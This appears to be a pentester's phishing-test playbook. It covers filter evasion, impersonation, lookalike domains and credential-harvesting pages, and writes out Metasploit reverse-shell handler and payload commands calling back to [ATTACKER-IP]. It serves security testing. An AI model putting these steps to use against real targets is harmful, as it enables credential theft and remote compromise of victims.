Phishing Attacks – Are your technical controls helping?

• Public Availability of Email Addresses / Sensitive Information
• MX Configuration
  • Relaying Allowed?
  • MX Reputation Filtering?
• Spam Filtering Capabilities
  • Client-Side
  • Server-Side
• Spam Neutering Capabilities
  • Client-Side – disables links
  • Server-Side – disables links, disables binaries
• Antivirus Capabilities
  • Client-Side – quarantines / deletes binaries
  • Server-Side –
• Firewall Configuration
  • Inbound Traffic
  • Outbound Traffic
• Traffic Proxying

Ways in which we can influence the success of the attack:

• Spoof the sending email address
• Source from a more reputable MX
• make the binary look less malicious
  • Encode, or encrypt it to bypass AV
• remove the binary, and place a link
  • ensure the binary connects back (rather than doing a bindshell <– you’d be dumb to do this [NAT])
    • ensure the binary uses proxy settings (passiveX)
  • send a link containing the malicious payload in an xss vector
  • send a link containing the malicious payload in a /stored/ xss vector

Email Sources:

• Gmail / Hotmail / Other Free Email Service
• Register similar-sounding domain, use your mailserver
• Known (Compromised) Email Server on client’s domain
• Other Known Email Server
• Unknown Email Server – Attacker’s box

Social Engineering Plausibility (This is a whole subject in its own right):

• Send a single link
• Send a link w/ a story
• Send a link w/ a story from “the security department” / “the administrator” / <Authority Figure>
• Send a link w/ a story from <Insert Administrator’s Name here>
  • Better yet, get his actual sig
• Send a link from a “friend”
  • harvest from myspace / twitter / etc
• Register new account under known friend’s name, steal their picture / info, send a new link.
• Set up a site to host “security patches” or “new improved notepad.exe”, send a link

Payload Types:

• binary
  • malicious connect-back binary or script (unencoded) —– test AV
  • malicious connect-back binary or script (encoded) –/
  • malicious file (exploiting vulnerability in target’s system)
    • Adobe PDF
    • Flash FLV
    • Microsoft DOCX,PPTX,XLSX, etc
• link
  • to page asking for personal information (email passwords – OWA)
  • to page w/ malicious binary (to be downloaded)
  • to page w/ an exploit (metasploit is good here)
  • to page w/ malicious exploit pack (multiple binaries tried via javascript – browser auto_pwn)
  • to page w/ malicious active-x control (passive-x)
  • to page w/ beef hook (can be encoded)
  • to reflected xss w/ beef
  • to stored xss containing beef

(add google analytics to any of these for easy tracking of victims)

Attack Methodology (Practical)

Payloads 

• Prepare payloads
  • Prepare handler (on [ATTACKER-IP]) – listening on :443 so we avoid most egress filtering… :
    • ./toolkit/nix/framework-net/metasploit-svn/msfconsole
      use exploit/multi/handler
      set ExitOnSession false
      set PAYLOAD windows/meterpreter/reverse_tcp
      set LHOST [ATTACKER-IP]
      set LPORT 443
      save
      exploit -j
      
  • connect back, unencrypted:
    • ./toolkit/nix/framework-net/metasploit-svn/msfpayload windows/meterpreter/reverse_tcp LHOST=[ATTACKER-IP] LPORT=443 R| ./toolkit/nix/framework-net/metasploit-svn/msfencode -t exe -e generic/none -o unencoded.exe;
      
  • connect back, encrypted:
    • ./toolkit/nix/framework-net/metasploit-svn/msfpayload windows/meterpreter/reverse_tcp LHOST=[ATTACKER-IP] LPORT=443 R| ./toolkit/nix/framework-net/metasploit-svn/msfencode -t exe -o encoded.exe;
      
  • google analytics
  • beef hook script
  • beef hook via xss

Server

• Prepare Email Servers
  • Register <Client>.Security@gmail.com (or some similar Gmail address)
  • Setup Local MX
    • utilize SEF, or some other form of Perl::MIME
  • Prepare Remotely-Accessible MX
  • Register Client Domains

Now that you’ve prepared, you can use each server type, to send each payload type.

Using GMAIL

• Send unencoded binary (TEST-1)
• Send encoded binary (TEST-2)
• Send link to page w/ script (TEST-3)

What this tests

• Spam Filtering
• Content Filtering

Using a Local (Unknown to target) MX

• Send unencoded binary (TEST-4)
• Send encoded  binary (TEST-5)
• Send link to page w/ script (TEST-6)

What this tests

This shouldn’t make it through.

• Spam Filtering
• Content Filtering
• MX Reputation Analysis

Using a known, valid MX

• Register domain (similar to target)
• Set domain MX records to remotely-accessible mail server
• Send unencoded binary (TEST-7)
• Send encoded binary (TEST-8)
• Send link to page w/ script (TEST-9)

What this tests

This will likely make it through.

• Spam Filtering
• Content Filtering
• MX Reputation Analysis

Using a Target-owned  MX

• Search for any internal relays
  • repeat above steps, sending through internal relay

What this tests

• Spam Issues

Measuring Success

For a pentest, it’s useful to know as much information about the clients as possible. You also want some way to maintain access.

• What you don’t want:
  • Multiple connect-backs to a single netcat listener

• What you do want:
  • Users entering their information
  • Meterpreter payloads, with a handler waiting for connect-backs
  • Google Analytics
    • Register a new site here: http://www.google.com/analytics/

References

https://help.ubuntu.com/community/PostfixBasicSetupHowto – Postfix on ubuntu / debian